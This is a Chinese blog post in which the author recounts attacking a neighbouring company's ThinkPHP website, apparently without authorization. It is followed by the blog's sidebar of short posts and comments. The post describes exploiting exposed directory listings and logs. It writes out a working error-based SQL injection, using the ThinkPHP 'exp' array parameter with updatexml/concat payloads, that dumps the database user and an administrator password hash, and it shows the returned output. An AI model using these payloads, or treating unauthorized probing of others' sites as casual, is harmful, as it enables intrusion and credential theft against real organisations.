[MySQL]回家弄了个曝库攻击
公司隔壁是一家做图像识别的企业,去年才成立的,我最喜欢这种新鲜事物了,今天特意看了看他们的网站,用thinkphp框架做的。thinkphp有一些致命点,兴许他们没工夫处理呢。那今天就来检查检查吧。
首先,各个目录的列表权限——他们没有做处理,Application,Data,Runtime等目录一览无余,安装包都原封不动地躺在那,我清楚地看到他们改动了哪些文件。不过这些意义不是特别大,没有看到什么有价值的东西,有几个数据库脚本也只是原始安装文件。
然后,在Runtime目录下有日志文件,这个略有用,看到了登录后台,看到了登录用户‘Administrator’,而且用户只有一个,看到了一系列根目录,并且这些目录是绝对路径……
再后来,打开登录后台界面,POST方式提交下简单的SQL注入,类似于
select * from table where username='administrator' and password='1' or '1'
当然,这种注入对于thinkphp来说当然是无效的。
再后来,重点来了:
当用户登录时,会提交username和password到服务器,其中username用来查询数据库,返回用户信息,同时password进行单向加密,加密算法
f(x)=md5(sha1(x)+salt)
得到的f(x)与用户信息中的密码字段比对,完成登录验证。
从登录代码往下走:
/Application/Admin/Controller/PublicController.class.php
/ThinkPHP/Library/Think/Db.class.php
可以发现对入参数组以exp开头的处理部分,有点奇妙。比如原本username传入字符串时会按前述走,
构造一个查询:
select * from hd_ucenter_member where username=(***) limit 1;
可是我可以传数组进去呀。
username[0]='exp',username[1]='***'
这会构造一个查询:
select * from hd_ucenter_member where username (***) limit 1;
那么让***为
-1 or updatexml(0,concat(0xa,(user())),0)
怎么样?
马上返回结果:
SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ' root@localhost'
曝库成功!
让***为
-1 or updatexml(0,concat(0xa,(select password from skdb_ucenter_member limit 1)),0)
这次我看到的是密码!!!
同理我得到用户名,得到邮箱等等。
不过这一切对我而言没有任何意义,不要以为那个密码可以用来打开通向世界的大门,别忘了公式
f(x)=md5(sha1(x)+salt)
的存在。
这种用户验证的周到之处在于,即便曝库了,密码仍然是未知的。要想通过密文推知明文,无异于暴力破解了。
不过像这个网站,有待改进。
标签: MySQL
日历
最新微语
- 有的时候,会站在分叉路口,不知道向左还是右
2023-12-26 15:34
- 繁花乱开,鸟雀逐风。心自宁静,纷扰不闻。
2023-03-14 09:56
- 对于不可控的事,我们保持乐观,对于可控的事情,我们保持谨慎。
2023-02-09 11:03
- 小时候,
暑假意味着无忧无虑地玩很长一段时间,
节假意味着好吃好喝还有很多长期不见的小朋友来玩...
长大后,
这是女儿第一个暑假,
一个半月...
2022-07-11 08:54
- Watching the autumn leaves falling as you grow older together
2018-10-25 09:45
分类
最新评论
- Goonog
i get it now :) - 萧
@Fluzak:The web host... - Fluzak
Nice blog here! Also... - Albertarive
In my opinion you co... - ChesterHep
What does it plan? - ChesterHep
No, opposite. - mojoheadz
Everything is OK!... - Josephmaigh
I just want to say t... - ChesterHep
What good topic - AnthonyBub
Certainly, never it ...
发表评论: